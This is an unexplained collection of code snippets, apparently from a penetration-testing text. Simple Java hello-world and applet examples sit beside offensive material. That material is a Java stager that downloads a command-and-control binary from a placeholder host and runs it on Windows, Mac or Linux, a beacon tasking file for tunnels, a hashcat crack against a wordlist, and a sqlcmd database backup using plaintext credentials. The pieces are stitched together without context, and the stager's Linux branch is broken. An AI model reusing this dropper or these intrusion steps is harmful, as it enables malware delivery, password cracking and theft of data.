wget -U "Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.16) Gecko/20110929 Firefox/3.5.16" --recursive --level=1 --no-clobber --page-requisites --html-extension --convert-links --no-parent --wait=3 --random-wait http://www.example.com/docs/interesting-part/ --domains=www.example.com
---
public class HelloWorld
{
  public static void main(String[] args)
  {
    System.out.println("Witaj, świecie!");
  }
}

---
import java.applet.Applet;
import java.awt.Graphics;

public class HelloWorld extends Applet {
    public void paint(Graphics g) {
        g.drawString("Witaj, świecie!", 50, 25);
    }
}
---
<HTML>
<HEAD>
<TITLE> Prosty program </TITLE>
</HEAD>
<BODY>
To jest wynik działania mojego programu:
<APPLET CODE="HelloWorld.class" WIDTH=150 HEIGHT=25>
</APPLET>
</BODY>
</HTML>
---
public class OsDetect
{
  public static void main(String[] args)
  {
    System.out.println(System.getProperty("os.name"));
  }
}
---
import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;

public class JavaStager {

    private static String OS = System.getProperty("os.name").toLowerCase();
    public static void main(String[] args) {

        if (isWindows()) {
            try {
                String fileName = "c2.exe";
                URL link = new URL("http://yourc2url.com/c2.exe");
                InputStream in = new BufferedInputStream(link.openStream());
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                byte[] buf = new byte[1024];
                int n = 0;
                while (-1!=(n=in.read(buf))){
                    out.write(buf, 0, n);
                }
                out.close();
                in.close();
                byte[] response = out.toByteArray();
                FileOutputStream fos = new FileOutputStream(fileName);
                fos.write(response);
                fos.close();
                Process process = new ProcessBuilder("c2.exe").start();
            } catch(IOException ioe){}
        } else if (isMac()) {
            try {
                String fileName = "c2_signed_mac_binary";
                URL link = new URL("http://yourc2url.com/c2_signed_mac_binary");
                InputStream in = new BufferedInputStream(link.openStream());
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                byte[] buf = new byte[1024];
                int n = 0;
                while (-1!=(n=in.read(buf))){
                    out.write(buf, 0, n);
                }
                out.close();
                in.close();
                byte[] response = out.toByteArray();
                FileOutputStream fos = new FileOutputStream(fileName);
                fos.write(response);
                fos.close();
                Process process = new ProcessBuilder("c2_signed_mac_binary").start();
            } catch(IOException ioe){}
        } else if (isLinux()) {
            try {
                String fileName = "linux_binary";
                URL link = new URL("http://yourc2url.com/c2_signed_mac_binary");
                InputStream in = new BufferedInputStream(link.openStream());
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                byte[] buf = new byte[1024];
                int n = 0;
                while (-1!=(n=in.read(buf))){
                    out.write(buf, 0, n);
                }
                out.close();
                in.close();
                byte[] response = out.toByteArray();
                FileOutputStream fos = new FileOutputStream(fileName);
                fos.write(response);
                fos.close();
                Process process = new ProcessBuilder("chmod +x linux_binary;./ 
               linux_binary").start();
            } catch(IOException ioe){}
        } else {
        }
    }
    public static boolean isWindows() {
        return (OS.indexOf("win") >= 0);
    }
    public static boolean isMac() {
        return (OS.indexOf("mac") >= 0);
    }
    public static boolean isLinux() {
        return (OS.indexOf("nux") >= 0);
    }
}
---
sudo update-rc.d service enable
---
<BeaconResponse>
    <Command1> Task </Command1>
    <Command1Param> http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe </Command1Param>
    <Command2> OpenDynamic </Command2>
    <Command2Param> L1080C1080 </Command2Param>
    <Command3> OpenSSHTunnel</Command3>
    <Command3Param> L22C900 </Command3Param>
</BeaconResponse>
---
/tmp# hashcat -a 0 -m 7000 med-fort /usr/share/wordlists/rockyou.txt
---
sqlcmd -s medlab03-SQL -u coll-domain/dgammon -p ILoveJustinBieber -Q
"BACKUP DATABASE perfuse_db TO DISK='C:\perfuse_db.bak'"

---
